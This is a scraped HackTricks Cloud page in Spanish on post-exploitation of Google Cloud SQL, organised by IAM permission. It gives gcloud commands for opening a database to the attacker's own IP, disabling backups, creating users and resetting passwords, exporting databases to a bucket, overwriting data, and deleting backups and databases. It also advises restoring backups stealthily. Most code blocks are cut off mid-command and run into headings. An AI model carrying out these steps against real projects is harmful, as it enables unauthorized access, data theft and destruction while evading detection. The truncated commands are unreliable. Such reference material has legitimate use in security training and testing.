GCP - Cloud SQL Post Exploitation
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Cloud SQL
Para más información sobre Cloud SQL consulta:
cloudsql.instances.update, ( cloudsql.instances.get)
Para conectarte a las databases solo necesitas acceso al database port y conocer el username y password; no hay requisitos de IAM. Por lo tanto, una forma fácil de obtener acceso, suponiendo que la database tiene una IP pública, es actualizar las redes permitidas y permitir el acceso desde tu propia IP address.
Permite tu IP y conéctate a la database
```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quietmysql -h <ip_db> # If mysql
With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql –user=root –quiet
</details>
También es posible usar **`--no-backup`** para **interrumpir las copias de seguridad** de la base de datos.
Como estos son los requisitos, no estoy completamente seguro de para qué sirven los permisos **`cloudsql.instances.connect`** y **`cloudsql.instances.login`**. ¡Si lo sabes, envía un PR!
### `cloudsql.users.list`
Obtener una **lista de todos los usuarios** de la base de datos:
<details>
<summary>Listar usuarios de la base de datos</summary>
```bash
gcloud sql users list --instance <intance-name>
cloudsql.users.create
Este permiso permite crear un nuevo usuario en la base de datos:
Crear usuario en la base de datos
```bash gcloud sql users createcloudsql.users.update
Este permiso permite actualizar un usuario dentro de la base de datos. Por ejemplo, podrías cambiar su contraseña:
Actualizar contraseña del usuario
```bash gcloud sql users set-passwordcloudsql.instances.restoreBackup, cloudsql.backupRuns.get
Las copias de seguridad pueden contener información sensible antigua, por lo que es interesante revisarlas.
Restaurar una copia de seguridad dentro de una base de datos:
Restaurar copia de seguridad de la base de datos
```bash gcloud sql backups restorePara hacerlo de una manera más sigilosa se recomienda crear una nueva instancia SQL y recuperar los datos allí en lugar de en las bases de datos que se están ejecutando actualmente.
cloudsql.backupRuns.delete
Este permiso permite eliminar backups:
Eliminar backup
```bash gcloud sql backups deletecloudsql.instances.export, storage.objects.create
Exportar una base de datos a un Cloud Storage Bucket para que puedas acceder a ella desde allí:
Exportar la base de datos al bucket
```bash # Export sql format, it could also be csv and bak gcloud sql export sqlcloudsql.instances.import, storage.objects.get
Importar una base de datos (sobrescribir) desde un Cloud Storage Bucket:
Importar base de datos desde el bucket
```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sqlcloudsql.databases.delete
Eliminar una base de datos de la instancia de la base de datos:
Eliminar base de datos
```bash gcloud sql databases deleteTip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

